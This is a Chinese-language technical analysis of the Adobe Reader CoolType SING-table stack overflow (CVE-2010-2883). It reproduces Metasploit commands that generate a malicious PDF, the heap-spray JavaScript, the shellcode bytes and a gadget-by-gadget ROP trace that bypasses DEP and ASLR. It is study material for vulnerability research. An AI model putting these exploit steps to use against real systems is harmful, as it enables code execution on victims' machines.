漏洞描述

Adobe Reader 和 Acrobat 9.4 之前版本的 CoolType.dll 中存在基于栈的缓冲区溢出漏洞。远程攻击者可借助带有 TTF 字体的 Smart INdependent Glyphlets (SING) 表格中超长字段的 PDF 文件执行任意代码或者导致拒绝服务。

漏洞复现

| |推荐使用的环境 | 备注 | | — | — | — | | 操作系统 | Windows XP SP3 | 体系结构:32 位 | | 调试器 | OllyDbg | 版本号:吾爱专版 | | 反汇编器 | IDA Pro | 版本号:6.8 | | 漏洞软件 | Adobe Reader | 版本号:9.3.4 |

我们利用 Metasploit 来生成攻击样本:

msf > search cve-2010-2883
   Name                                            Disclosure Date  Rank   Description
   ----                                            ---------------  ----   -----------
   exploit/windows/fileformat/adobe_cooltype_sing  2010-09-07       great  Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow

msf > use exploit/windows/fileformat/adobe_cooltype_sing
msf exploit(windows/fileformat/adobe_cooltype_sing) > show info

msf exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/exec 
payload => windows/exec

msf exploit(windows/fileformat/adobe_cooltype_sing) > set cmd calc.exe
cmd => calc.exe

msf exploit(windows/fileformat/adobe_cooltype_sing) > set filename cve20102883.pdf
filename => cve20102883.pdf

msf exploit(windows/fileformat/adobe_cooltype_sing) > exploit 
[*] Creating 'cve20102883.pdf' file...
[+] cve20102883.pdf stored at /home/firmy/.msf4/local/cve20102883.pdf

使用漏洞版本的 Adobe Reader 打开样本,即可弹出计算器。

漏洞分析

PDF 文件格式

首先当然得知道 PDF 格式是怎样的。

|------------|
|   header   |
|------------|
|    body    |
|------------|
| xref table |
|------------|
|  trailer   |
|------------|

由 4 个部分组成:

当我们对一个 PDF 文件执行 Save(保存)操作时,新添加的信息将会附加到原文件的末尾,即所谓的增量保存。这些信息主要由 3 部分(body changes, xref, trailer)组成,此时的 PDF 文件如下所示:

|--------------|
|    header    |    ------------
|--------------|
|     body     |
|--------------|    Original File
|  xref table  |
|--------------|
|   trailer    |    ------------
|--------------|
| body changes |
|--------------|    Update 1
|     xref     |
|--------------|
|   trailer    |    ------------
|--------------|
|     ...      |    ...
|--------------|
| body changes |    ------------
|--------------|
|     xref     |    Update n
|--------------|
|   trailer    |    ------------
|--------------|

这样子虽然方便,但体积会越来越大。此时我们可以执行 Save as(另存为)操作,将所有的更新信息合并成一个完整的新的 PDF,格式回到一开始的结构,体积也相应的有所减小。

例如可以利用工具 PDFStreamDumper 解析我们的样本,其 xref 和 trailer 如下所示:

xref
0 15
0000000000 65535 f
0000000015 00000 n
0000000133 00000 n
0000000264 00000 n
0000000294 00000 n
0000000334 00000 n
0000000465 00000 n
0000000497 00000 n
0000000713 00000 n
0000000835 00000 n
0000001006 00000 n
0000041366 00000 n
0000041449 00000 n
0000045319 00000 n
0000045358 00000 n
trailer
<</S#69#7a#65 15/R#6f#6f#74 1 0 R>>
startxref
45789
%%EOF
.

该节区的对象的起始编号为 0,包含的对象个数为 15 个,每个对象在交叉引用表中占据一行。我们看到每行分为三列,分别表示对象在 PDF 中的文件偏移、对象的生成号和是否使用标志(f 表示 free,n 表示 used)。第一行对应的对象 ID 为 0,生成号总是 65535,而最后一行的生成号总是 0。

TTF 文件格式

根据漏洞通告,我们知道是 TTF 字体的 SING 表引起的溢出。所以再来看一下 TTF 文件格式。

TTF 包含有一个表 TableDirectory,其中有一个 TableEntry 结构项,包含了资源标记、校验和、偏移量和每个表的大小:

typedef sturct
{
    char    tag[4];
    ULONG   checkSum;
    ULONG   offset;
    ULONG   length;
} TableEntry;

typedef struct
{
    Fixed   sfntversion;
    USHORT  numTables;
    USHORT  searchRange;
    USHORT  entrySelector;
    USHORT  rangeShift;
    TableEntry  entries[numTables];
} TableDirectory;

另外,SING 表的结构如下:

typedef struct
{
    USHORT  tableVersionMajor;
    USHORT  tableVersionMinor;
    USHORT  glyphletVersion;
    USHORT  embeddinginfo;
    USHORT  mainGID;
    USHORT  unitsPerEm;
    SHORT   vertAdvance;
    SHORT   vertOrigin;
    BYTE[28]    uniqueName;
    BYTE[16]    METAMD5;
    BYTE    nameLength;
    BYTE[]  baseGlyphName;
} SINGTable;

还是利用 PDFStreamDumper,从样本里将 TTF 取出来,需要注意的是 TTF 采用大端序。

$ xxd -g1 hexC0E5.tmp | grep -A1 "SING"
000000e0: 05 47 06 3a 00 00 eb 2c 00 00 00 20 53 49 4e 47  .G.:...,... SING
000000f0: d9 bc c8 b5 00 00 01 1c 00 00 1d df 70 6f 73 74  ............post

加粗部分即 SING 表目录项,其 offset 域为 0x0000011c

于是找到 SING 表,其中加粗部分为 uniqueName 域:

$ xxd -g1 hexC0E5.tmp | grep -A3 "00000110"
00000110: 3b 07 f1 00 00 00 20 f8 00 00 05 68 00 00 01 00  ;..... ....h....
00000120: 01 0e 00 01 00 00 00 00 00 00 00 3a 92 f3 5e 4d  ...........:..^M
00000130: 73 5d 52 c2 14 a7 82 4a 0c 0c 0c 0c bc 94 b0 83  s]R....J........
00000140: 45 a2 04 7d 13 4b 30 18 98 95 ed 9f 3e cc 50 8b  E..}.K0.....>.P.

栈溢出

我们已经知道栈溢出发生在 SING 表的处理中,于是在 IDA 中打开 CoolType.dll,搜索字符串 “SING”:

.rdata:0819DB4C ; char aSing[]
.rdata:0819DB4C aSing           db 'SING',0             ; DATA XREF: sub_8015AD9+D2↑o
.rdata:0819DB4C                                         ; sub_803DCF9+7B↑o ...
.rdata:0819DB51                 align 4

对每个数据引用进行检查,发现 sub_803DCF9+7B↑o 的下方存在危险函数 strcat

.text:0803DCF9 ; __unwind { // loc_8184A54
.text:0803DCF9                 push    ebp
.text:0803DCFA                 sub     esp, 104h            ; 分配栈空间 104h
.text:0803DD00                 lea     ebp, [esp-4]         ; ebp 赋值为 esp-4
.text:0803DD04                 mov     eax, ___security_cookie
.text:0803DD09                 xor     eax, ebp
.text:0803DD0B                 mov     [ebp+108h+var_4], eax
.text:0803DD11                 push    4Ch
.text:0803DD13                 mov     eax, offset loc_8184A54
.text:0803DD18                 call    __EH_prolog3_catch
.text:0803DD1D                 mov     eax, [ebp+108h+arg_C]
.text:0803DD23                 mov     edi, [ebp+108h+arg_0]    ; edi 赋值为 arg_0
.text:0803DD29                 mov     ebx, [ebp+108h+arg_4]
.text:0803DD2F                 mov     [ebp+108h+var_130], edi
.text:0803DD32                 mov     [ebp+108h+var_138], eax
.text:0803DD35                 call    sub_804172C
.text:0803DD3A                 xor     esi, esi
.text:0803DD3C                 cmp     dword ptr [edi+8], 3
.text:0803DD40 ;   try {
.text:0803DD40                 mov     [ebp+108h+var_10C], esi
.text:0803DD43                 jz      loc_803DF00
.text:0803DD49                 mov     [ebp+108h+var_124], esi
.text:0803DD4C                 mov     [ebp+108h+var_120], esi
.text:0803DD4F                 cmp     dword ptr [edi+0Ch], 1
.text:0803DD4F ;   } // starts at 803DD40
.text:0803DD53 ;   try {
.text:0803DD53                 mov     byte ptr [ebp+108h+var_10C], 1
.text:0803DD57                 jnz     loc_803DEA9
.text:0803DD5D                 push    offset aName    ; "name"
.text:0803DD62                 push    edi             ; int
.text:0803DD63                 lea     ecx, [ebp+108h+var_124]
.text:0803DD66                 mov     [ebp+108h+var_119], 0
.text:0803DD6A                 call    sub_80217D7
.text:0803DD6F                 cmp     [ebp+108h+var_124], esi
.text:0803DD72                 jnz     short loc_803DDDD
.text:0803DD74                 push    offset aSing    ; "SING"
.text:0803DD79                 push    edi             ; int
.text:0803DD7A                 lea     ecx, [ebp+108h+var_12C]  ; this 指针的地址,指向 SING 表入口
.text:0803DD7D                 call    sub_8021B06              ; sub_8021B06(edi, "SING"),处理 SING 表
.text:0803DD82                 mov     eax, [ebp+108h+var_12C]
.text:0803DD85                 cmp     eax, esi         ; 判断是否为空
.text:0803DD85 ;   } // starts at 803DD53
.text:0803DD87 ;   try {
.text:0803DD87                 mov     byte ptr [ebp+108h+var_10C], 2
.text:0803DD8B                 jz      short loc_803DDC4        ; 不跳转
.text:0803DD8D                 mov     ecx, [eax]               ; SING 表开头 4 字节,即字体资源版本号(00 01 00 00)
.text:0803DD8F                 and     ecx, 0FFFFh              ; 结果为 0
.text:0803DD95                 jz      short loc_803DD9F        ; 跳转
.text:0803DD97                 cmp     ecx, 100h
.text:0803DD9D                 jnz     short loc_803DDC0
.text:0803DD9F
.text:0803DD9F loc_803DD9F:                            ; CODE XREF: sub_803DCF9+9C↑j
.text:0803DD9F                 add     eax, 10h                 ; uniqueName 域
.text:0803DDA2                 push    eax             ; Source ; 指向 uniqueName 的指针
.text:0803DDA3                 lea     eax, [ebp+108h+Dest]
.text:0803DDA6                 push    eax             ; Dest   ; 目的地址是固定大小的栈空间
.text:0803DDA7                 mov     [ebp+108h+Dest], 0
.text:0803DDAB                 call    strcat                   ; 造成溢出

在调用 strcat 函数时,未对 uniqueName 的字符串长度进行检查,直接将其复制到固定大小的栈空间,造成溢出。strcat 函数原型如下:

char *strcat(char *dest, const char *src);

char *strncat(char *dest, const char *src, size_t n);

下面打开 OllyDbg 调试一下,先来看看函数 sub_8021B06 做了什么,在 0803DD7D 设置断点,然后在 Reader 中打开样本,程序就断了下来:

0803DD7D    E8 843DFEFF     call CoolType.08021B06
0803DD82    8B45 DC         mov eax,dword ptr ss:[ebp-0x24]

此时的 this 指针指向 TTF 对象:

d ecx:

0012E4B4  B0 54 18 02 98 15 FC 01 00 00 00 00 00 00 00 00  癟??........

d 021854B0:

021854B0  00 01 00 00 00 11 01 00 00 04 00 10 4F 53 2F 32  .......OS/2     <-- TableDirectory
021854C0  B4 5F F4 63 00 00 EB 70 00 00 00 56 50 43 4C 54  確鬰..雙...VPCLT
...

然后 F8 单步步过,eax 里是函数的返回值 0012E4B4,其值等于 this 指针的地址。

d 0012E4B4:

0012E4B4  38 B9 7D 04 DF 1D 00 00 00 00 00 00 00 00 00 00  8箎?..........

下一句给 eax 赋值为一个指向 SING 表的指针,即 this 指针的内容。

d 047DB938:

047DB938  00 00 01 00 01 0E 00 01 00 00 00 00 00 00 00 3A  ...........:      <-- SING
047DB948  92 F3 5E 4D 73 5D 52 C2 14 A7 82 4A 0C 0C 0C 0C  掦^Ms]R?J....      <-- uniqueName
047DB958  BC 94 B0 83 45 A2 04 7D 13 4B 30 18 98 95 ED 9F  紨皟E?}K0槙頍       <-- 0x1c bytes
047DB968  3E CC 50 8B AC FE B5 5C 8F 86 D5 26 8B 36 0C 13  >蘌嫭\弳??.
047DB978  25 2D 1F C3 0E 47 40 13 C9 1C 5F 86 90 AC 42 6D  %-?G@?_啇珺m
047DB988  40 44 C6 D4 59 9A AC 7D 1B E1 CA 25 3E E4 B3 05  @D圃Y毈}崾%>涑
047DB998  0D 85 43 B3 D9 58 4E 7E B9 A3 6D 4C 89 29 1D FE  .匔迟XN~梗mL?
047DB9A8  73 9A C4 84 6C 29 7A 5D 6D 7B 6E 1C 39 E0 1E E4  s毮刲)z]m{n9?
047DB9B8  51 7A 86 DE 7B FB 6F 04 B0 CF 3E E0 CF 4C AB FA  Qz嗈{鹢跋>嘞L
047DB9C8  71 41 CD 19 69 68 4E F6 35 A1 B5 3C 66 77 F2 45  qA?ihN?〉 fw駿
047DB9D8  71 73 01 C0 19 F4 A4 E1 D9 8A 8B C2 85 83 EA 2F  qs?簸豳妺聟冴/
047DB9E8  6E ED 57 4D E6 B7 7F 88 48 BD 16 8E DC 51 9E 7E  n鞼M娣圚?庈Q瀪
047DB9F8  BE 8B 09 8E 53 50 ED A9 F1 AC AE AD 01 5C 1E 11  緥.嶴P愆瘳\
047DBA08  33 06 83 44 4B 4A EC 9F 26 3A AF 0A 74 62 C5 1E  3僁KJ鞜&:?tb?
047DBA18  AE A8 58 3F F3 F1 82 F0 4D AC DA AE 10 AB 02 B9  X?篑傪M??
047DBA28  E2 03 EF F6 76 B4 EF 35 4D 8D 45 3B F4 FE 9A D0  ?秭v达5M岴;酤毿
047DBA38  58 AE 97 E5 D7 D8 EF 62 2F 4E 30 D6 B8 B4 A2 73  X畻遄仫b/N0指储s
047DBA48  E3 B7 84 6A A9 41 CE 16 CC FB 8B 1D 43 1B B5 DB  惴刯〢?帖?C帝
047DBA58  1D 60 EC BE C1 47 BA 2A 03 DD 3A C4 E1 93 74 1D  `炀罣??尼搕
047DBA68  66 41 B0 85 B8 2A 5E DE 39 C9 5D 97 ED 1B 82 65  fA皡?^?蒥楉俥
047DBA78  C6 08 8A 4A E5 20 41 0C 26 0A 03 AA 46 C5 36 C9  ?奐?A.&.狥?
047DBA88  CB 76 1D C4 56 BD 76 A3 34 F7 2B 79 1F 6D 51 2C  藇腣絭??ymQ,
047DBA98  9F 79 21 5E A8 94 1B 4A 05 BF B3 7C BC B2 FD 99  焬!^〝J砍|疾龣
047DBAA8  E5 B3 08 D2 BC 86 25 BB C1 F8 DE F3 4A C8 1E 82  宄壹?涣驤?
047DBAB8  25 12 18 C2 A9 F1 E6 36 92 94 01 29 98 A3 F5 A3  %漏矜6挃)槪酰
047DBAC8  25 4B 02 0D 17 F2 87 B1 99 A5 8F 6F AA 81 21 64  %K.驀睓o獊!d
047DBAD8  B8 57 11 6D CF 88 FC B8 22 B9 2B 58 66 CF D2 8B  竁m蠄"?Xf弦
047DBAE8  F8 12 D6 82 CC B3 5E 28 B4 85 51 54 23 2B 74 21  ?謧坛^(磪QT#+t!
047DBAF8  FC 6D 97 08 96 0D BE 76 F5 46 04 72 A6 7B CA 29  黰??緑鮂r?
047DBB08  07 C6 41 55 B2 48 D9 F5 C7 E3 0C 35 1E DA 06 BF  艫U睭脔倾.5?
047DBB18  D3 62 D4 D3 D4 A8 D3 AF A1 17 09 13 E1 5B 18 FD  觔杂渊盈?.醄
047DBB28  ED 04 43 AC 1C 6F A6 1E 02 64 49 D1 5F 5E 54 75  ?C?o?dI裚^Tu
047DBB38  A7 24 35 67 FF CC E6 E0 38 CB 80 4A 44 B6 49 EA  ?5g替?藔JD禝        <-- ROP
047DBB48  A5 2D 16 26 4B B1 FA D2 87 82 36 34 9C F8 BD E0  ?&K柄覈?4滧洁
047DBB58  7D 33 0F 1E 66 5B 23 98 E3 1A 80 55 CE 9F D3 BD  }3f[#樸€U螣咏
047DBB68  CE 3C 13 48 AF 4D BA 78 DB 4E EA 5F 34 3F 14 8C  ?H疢簒跱阓4?
047DBB78  80 56 8D 65 A8 84 38 6D 91 4E B1 54 6C 00 00 00  €V峞▌8m慛盩l...              <-- 0x22d bytes

所以这个函数的作用已经清楚了,通过传入的 tag 字符串,在 this 指针指向的 TTF 对象里找到对应的表目录项,使用表地址重置 this 指针。

接下来就是 strcat 函数了。

0803DD9F    83C0 10         add eax,0x10
0803DDA2    50              push eax
0803DDA3    8D45 00         lea eax,dword ptr ss:[ebp]
0803DDA6    50              push eax
0803DDA7    C645 00 00      mov byte ptr ss:[ebp],0x0
0803DDAB    E8 483D1300     call <jmp.&MSVCR80.strcat>

根据上面的 SING 表可以看到,uniqueName 原本只应该有最多 0x1c 个字节,但 strcat 根据 “\x00” 来作为字符串的结束,将导致复制 0x22d 个字节到栈上,造成溢出。

ROP

我们对复制到栈上的这段数据(0012E4D8~0012E714)设置内存访问断点。并开启 run trace 进行函数跟踪。

继续运行,然后我们记录下函数调用:

CoolType.08016BDE --> CoolType.0801BB21 --> CoolType.0808B116 --> icucnv36.4A80CB38
0803DEAC    50              push eax
0803DEAD    53              push ebx
0803DEAE    57              push edi
0803DEAF    E8 2A8DFDFF     call CoolType.08016BDE

CoolType.08016BDE

08016C46    6A 01           push 0x1
08016C48    53              push ebx
08016C49    53              push ebx
08016C4A    8D45 EC         lea eax,dword ptr ss:[ebp-0x14]
08016C4D    50              push eax
08016C4E    8D45 D0         lea eax,dword ptr ss:[ebp-0x30]
08016C51    50              push eax
08016C52    57              push edi
08016C53    FF75 E8         push dword ptr ss:[ebp-0x18]
08016C56    E8 C64E0000     call CoolType.0801BB21

CoolType.0801BB21

0801BB24    FF75 20         push dword ptr ss:[ebp+0x20]
0801BB27    8B4D 08         mov ecx,dword ptr ss:[ebp+0x8]
0801BB2A    FF75 1C         push dword ptr ss:[ebp+0x1C]
0801BB2D    8B01            mov eax,dword ptr ds:[ecx]               ; CoolType.081A601C
0801BB2F    FF75 18         push dword ptr ss:[ebp+0x18]
0801BB32    FF05 A0A62308   inc dword ptr ds:[0x823A6A0]
0801BB38    FF75 14         push dword ptr ss:[ebp+0x14]
0801BB3B    FF75 10         push dword ptr ss:[ebp+0x10]
0801BB3E    FF75 0C         push dword ptr ss:[ebp+0xC]
0801BB41    FF10            call dword ptr ds:[eax]                  ; CoolType.0808B116

最终来到 CoolType.0808B116 里的关键点:

0808B11D    8B7D 08         mov edi,dword ptr ss:[ebp+0x8]
...
0808B2E3    8B47 3C         mov eax,dword ptr ds:[edi+0x3C]         ; eax = ds:[edi+0x3C]
0808B2E6    3BC3            cmp eax,ebx
0808B2E8    8986 F4020000   mov dword ptr ds:[esi+0x2F4],eax
0808B2EE    899E F8020000   mov dword ptr ds:[esi+0x2F8],ebx
0808B2F4    895D FC         mov dword ptr ss:[ebp-0x4],ebx
0808B2F7    75 07           jnz short CoolType.0808B300
0808B2F9    32C0            xor al,al
0808B2FB    E9 94020000     jmp CoolType.0808B594
0808B300    8D4D FC         lea ecx,dword ptr ss:[ebp-0x4]
0808B303    51              push ecx
0808B304    53              push ebx
0808B305    6A 03           push 0x3
0808B307    50              push eax
0808B308    FF10            call dword ptr ds:[eax]                  ; icucnv36.4A80CB38

通过最后的 call 指令,程序跳转到了 ROP 链。回忆一下 uniqueName 域从 0012E4D8 开始:

4A80CB38    81C5 94070000   add ebp,0x794   ; ebp = 0012E4DC
4A80CB3E    C9              leave           ; esp = 0012E4E0, ebp = C2525D73
4A80CB3F    C3              retn            ; esp = 0012E4E4, eip = 4A82A714

d esp:

0012E4E4  0C 0C 0C 0C BC 94 B0 83 45 A2 04 7D 13 4B 30 18  ....紨皟E?}K0
0012E4F4  98 95 ED 9F 3E CC 50 8B AC FE B5 5C 8F 86 D5 26  槙頍>蘌嫭\弳?

于是跳转到 4A82A714

4A82A714    5C              pop esp         ; esp = 0C0C0C0C
4A82A715    C3              retn            ; esp = 0C0C0C10, eip = 4A8063A5

在进入下面的内容前,我们再来看一个东西,即 eax 是由 edi 控制的,通过对函数调用的回溯,可以看到程序对 edi 的处理,它的值在整个过程中都是不变的,而且 edi+0x3C 正好存放第一个 gadget 的地址。所以只要这个地址被覆盖,就可以控制 EIP 了。

d edi+0x3C:

0012E754  D0 E6 12 00 00 00 00 00 00 AA 04 08 00 00 00 00  墟......?....    <-- eax

d 0012E6D0:

0012E6D0  38 CB 80 4A 44 B6 49 EA A5 2D 16 26 4B B1 FA D2  8藔JD禝辚-&K柄    <-- ROP

Heap spray

上面的 gadget 返回后,堆栈就被转移到 heap spray 的地方了。

Heap spray 是在 shellcode 的前面加上大量的 slide code(滑板指令),组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流,使得程序执行到堆上,最终将导致 shellcode 的执行。

我们来实际看一下(加粗的地方是后面会用到的 gadgets 地址):

0C0C0BE0  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................    <-- NOP slide
0C0C0BF0  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
0C0C0C00  0C 0C 0C 0C 0C 0C 0C 0C 41 41 41 41 A5 63 80 4A  ........AAAA€J
0C0C0C10  00 00 8A 4A 96 21 80 4A 90 1F 80 4A 3C 90 84 4A  ..奐?€J?€J<悇J      <-- ROP
0C0C0C20  92 B6 80 4A 64 10 80 4A C8 22 85 4A 00 00 00 10  挾€Jd€J?匤...
0C0C0C30  00 00 00 00 00 00 00 00 02 00 00 00 02 01 00 00  .............
0C0C0C40  00 00 00 00 A5 63 80 4A 64 10 80 4A B2 2D 84 4A  ....€Jd€J?凧
0C0C0C50  B1 2A 80 4A 08 00 00 00 A6 A8 80 4A 90 1F 80 4A  ?€J...Θ€J?€J
0C0C0C60  38 90 84 4A 92 B6 80 4A 64 10 80 4A FF FF FF FF  8悇J挾€Jd€J
0C0C0C70  00 00 00 00 40 00 00 00 00 00 00 00 00 00 01 00  ....@..........
0C0C0C80  00 00 00 00 A5 63 80 4A 64 10 80 4A B2 2D 84 4A  ....€Jd€J?凧
0C0C0C90  B1 2A 80 4A 08 00 00 00 A6 A8 80 4A 90 1F 80 4A  ?€J...Θ€J?€J
0C0C0CA0  30 90 84 4A 92 B6 80 4A 64 10 80 4A FF FF FF FF  0悇J挾€Jd€J
0C0C0CB0  22 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00  "..............
0C0C0CC0  A5 63 80 4A 04 00 8A 4A 96 21 80 4A A5 63 80 4A  €J.奐?€J€J
0C0C0CD0  64 10 80 4A B2 2D 84 4A B1 2A 80 4A 30 00 00 00  d€J?凧?€J0...
0C0C0CE0  A6 A8 80 4A 90 1F 80 4A 04 00 8A 4A D8 A7 80 4A  Θ€J?€J.奐丕€J
0C0C0CF0  A5 63 80 4A 64 10 80 4A B2 2D 84 4A B1 2A 80 4A  €Jd€J?凧?€J
0C0C0D00  20 00 00 00 A6 A8 80 4A A5 63 80 4A 64 10 80 4A   ...Θ€J€Jd€J
0C0C0D10  DC AE 80 4A 90 1F 80 4A 34 00 00 00 85 D5 80 4A  墚€J?€J4...呎€J
0C0C0D20  A5 63 80 4A 64 10 80 4A B2 2D 84 4A B1 2A 80 4A  €Jd€J?凧?€J
0C0C0D30  0A 00 00 00 A6 A8 80 4A 90 1F 80 4A 70 91 84 4A  ....Θ€J?€Jp憚J
0C0C0D40  92 B6 80 4A FF FF FF FF FF FF FF FF FF FF FF FF  挾€J
0C0C0D50  00 10 00 00 DB C1 D9 74 24 F4 BB 81 F4 49 9E 5A  ...哿賢$艋侓I瀂    <-- shellcode
0C0C0D60  29 C9 B1 31 31 5A 18 03 5A 18 83 C2 85 16 BC 62  )杀11ZZ兟?糱
0C0C0D70  6D 54 3F 9B 6D 39 C9 7E 5C 79 AD 0B CE 49 A5 5E  mT?沵9蓗\y?蜪
0C0C0D80  E2 22 EB 4A 71 46 24 7C 32 ED 12 B3 C3 5E 66 D2  ?隞qF$|2?趁^f
0C0C0D90  47 9D BB 34 76 6E CE 35 BF 93 23 67 68 DF 96 98  G澔4vn?繐#gh邧
0C0C0DA0  1D 95 2A 12 6D 3B 2B C7 25 3A 1A 56 3E 65 BC 58  ?m;+?:V>e糥
0C0C0DB0  93 1D F5 42 F0 18 4F F8 C2 D7 4E 28 1B 17 FC 15  ?魾?O譔(?
0C0C0DC0  94 EA FC 52 12 15 8B AA 61 A8 8C 68 18 76 18 6B  旉黂嫪a▽hvk
0C0C0DD0  BA FD BA 57 3B D1 5D 13 37 9E 2A 7B 5B 21 FE F7  糊篧;裖7?{[!
0C0C0DE0  67 AA 01 D8 EE E8 25 FC AB AB 44 A5 11 1D 78 B5  g?仡?獶?x
0C0C0DF0  FA C2 DC BD 16 16 6D 9C 7C E9 E3 9A 32 E9 FB A4  芙m渱殂?辂
0C0C0E00  62 82 CA 2F ED D5 D2 E5 4A 29 99 A4 FA A2 44 3D  b偸/碚义J)櫎D=
0C0C0E10  BF AE 76 EB 83 D6 F4 1E 7B 2D E4 6A 7E 69 A2 87  慨v雰拄{-鋔~i
0C0C0E20  F2 E2 47 A8 A1 03 42 CB 24 90 0E 22 C3 10 B4 3A  蜮GāB??"??
0C0C0E30  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................    <-- NOP slide
0C0C0E40  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................

通过 PDFStreamDumper 可以看到内嵌的 JavaScript,将变量还原后代码如下:

var shellcode = unescape( '%u4141%u4141%u63a5%u4a80%u0000 ...省略大量字符... a1%ucb42%u9024%u220e%u10c3%u3ab4' );
var rop = unescape( "%u0c0c%u0c0c" );
while (rop.length + 20 + 8 < 65536) rop+=rop;
SP = rop.substring(0, (0x0c0c-0x24)/2);
SP += shellcode;
SP += rop;
slackspace = SP.substring(0, 65536/2);
while(slackspace.length < 0x80000) slackspace += slackspace;
bigblock = slackspace.substring(0, 0x80000 - (0x1020-0x08) / 2);
var memory = new Array();
for (count=0;count<0x1f0;count++) memory[count]=bigblock+"s";

接下来程序将依次执行下面的 gadgets:

4A8063A5    59              pop ecx         ; esp = 0C0C0C14, ecx = 4A8A0000
4A8063A6    C3              retn            ; esp = 0C0C0C18, eip = 4A802196
4A802196    8901            mov dword ptr ds:[ecx],eax
4A802198    C3              retn            ; eip = 4A801F90
4A801F90    58              pop eax         ; eax = 4A84903C <&KERNEL32.CreateFileA>
4A801F91    C3              retn            ; esp = 0C0C0C24, eip = 4A80B692
4A80B692  - FF20            jmp dword ptr ds:[eax]                   ; kernel32.CreateFileA

调用函数 kernel32.CreateFileW 创建文件,各参数如下所示:

0C0C0C04   7FFDFC00  |FileName = "iso88591"
0C0C0C08   10000000  |Access = GENERIC_ALL
0C0C0C0C   00000000  |ShareMode = 0
0C0C0C10   00000000  |pSecurity = NULL
0C0C0C14   00000002  |Mode = CREATE_ALWAYS
0C0C0C18   00000102  |Attributes = HIDDEN|TEMPORARY
0C0C0C1C   00000000  \hTemplateFile = NULL

然后通过同样的方法调用 CreateFileMapping

4A8063A5    59              pop ecx         ; esp = 0C0C0C4C, ecp = 4A801064
4A8063A6    C3              retn            ; esp = 0C0C0C50, eip = 4A842DB2
4A842DB2    97              xchg eax,edi
4A842DB3    C3              retn            ; esp = 0C0C0C54, eip = 4A802AB1
4A802AB1    5B              pop ebx         ; esp = 0C0C0C58, ebx = 00000008
4A802AB2    C3              retn            ; esp = 0C0C0C5C, eip = 4A80A8A6
4A80A8A6    213C5C          and dword ptr ss:[esp+ebx*2],edi
4A80A8A9    75 03           jnz short icucnv36.4A80A8AE
4A80A8AB    B0 01           mov al,0x1
4A80A8AD    C3              retn
4A80A8A6    213C5C          and dword ptr ss:[esp+ebx*2],edi
...
4A80A8C8    32C0            xor al,al
4A80A8CA    C3              retn            ; esp = 0C0C0C60, eip = 4A801F90
4A801F90    58              pop eax         ; esp = 0C0C0C64, eax = 4A849038 <&KERNEL32.CreateFileMappingA>
4A801F91    C3              retn            ; esp = 0C0C0C68, eip = 4A80B692
4A80B692  - FF20            jmp dword ptr ds:[eax]                   ; kernel32.CreateFileMappingA

调用函数 kernel32.CreateFileMappingW 创建内存映射,各参数如下所示:

0C0C0C40   000003D4  |hFile = 000003D4
0C0C0C44   00000000  |pSecurity = NULL
0C0C0C48   00000040  |Protection = PAGE_EXECUTE_READWRITE
0C0C0C4C   00000000  |MaximumSizeHigh = 0x0
0C0C0C50   00010000  |MaximumSizeLow = 0x10000
0C0C0C54   00000000  \MapName = NULL

接下来是调用 MapViewOfFile 的过程:

4A8063A5    59              pop ecx         ; esp = 0C0C0C8C, ecx = 4A801064
4A8063A6    C3              retn            ; esp = 0C0C0C90, eip = 4A842DB2
4A842DB2    97              xchg eax,edi
4A842DB3    C3              retn            ; esp = 0C0C0C94, eip = 4A802AB1
4A802AB1    5B              pop ebx         ; esp = 0C0C0C98, ebx = 00000008
4A802AB2    C3              retn            ; esp = 0C0C0C9C, eip = 4A80A8A6
4A80A8A6    213C5C          and dword ptr ss:[esp+ebx*2],edi
...
4A80A8C8    32C0            xor al,al
4A80A8CA    C3              retn            ; esp = 0C0C0CA0, eip = 4A801F90
4A801F90    58              pop eax         ; esp = 0C0C0CA4, eax = 4A849030 <&KERNEL32.MapViewOfFile>
4A801F91    C3              retn            ; esp = 0C0C0CA8, eip = 4A80B692
4A80B692  - FF20            jmp dword ptr ds:[eax]                   ; kernel32.MapViewOfFile

调用函数 kernel32.MapViewOfFileEx 将文件映射到内存映射地址空间,各参数如下所示:

0C0C0C8C   000003D8  |hMapObject = 000003D8
0C0C0C90   00000022  |AccessMode = 0x22
0C0C0C94   00000000  |OffsetHigh = 0x0
0C0C0C98   00000000  |OffsetLow = 0x0
0C0C0C9C   00010000  |MapSize = 10000 (65536.)
0C0C0CA0   00000000  \BaseAddr = NULL

最后调用函数 memcpy 将真正的 shellcode 复制到 MapViewOfFile 返回的地址处。这是一段可读可写可执行的内存,从而绕过 DEP。另外由于所使用的 gadgets 都来自 icucnv36.dll 模块,该模块不受 ASLR 的影响,所以同时也相当于绕过了 ASLR。

4A8063A5    59              pop ecx         ; esp = 0C0C0CC8, ecx = 4A8A0004
4A8063A6    C3              retn            ; esp = 0C0C0CCC, eip = 4A802196
4A802196    8901            mov dword ptr ds:[ecx],eax
4A802198    C3              retn            ; esp = 0C0C0CD0, eip = 4A8063A5
4A8063A5    59              pop ecx         ; esp = 0C0C0CD4, ecx = 4A801064
4A8063A6    C3              retn            ; esp = 0C0C0CD8, eip = 4A842DB2
4A842DB2    97              xchg eax,edi
4A842DB3    C3              retn            ; esp = 0C0C0CDC, eip = 4A802AB1
4A802AB1    5B              pop ebx         ; esp = 0C0C0CE0, ebx = 00000030
4A802AB2    C3              retn            ; esp = 0C0C0CE4, eip = 4A80A8A6
4A80A8A6    213C5C          and dword ptr ss:[esp+ebx*2],edi
...
4A80A8C8    32C0            xor al,al
4A80A8CA    C3              retn            ; esp = 0C0C0CE8, eip = 4A801F90
4A801F90    58              pop eax         ; esp = 0C0C0CEC, eax = 4A8A0004
4A801F91    C3              retn            ; esp = 0C0C0CF0, eip = 4A80A7D8
4A80A7D8    8B00            mov eax,dword ptr ds:[eax]
4A80A7DA    C3              retn            ; esp = 0C0C0CF4, eip = 4A8063A5
4A8063A5    59              pop ecx         ; esp = 0C0C0CF8, ecx = 4A801064
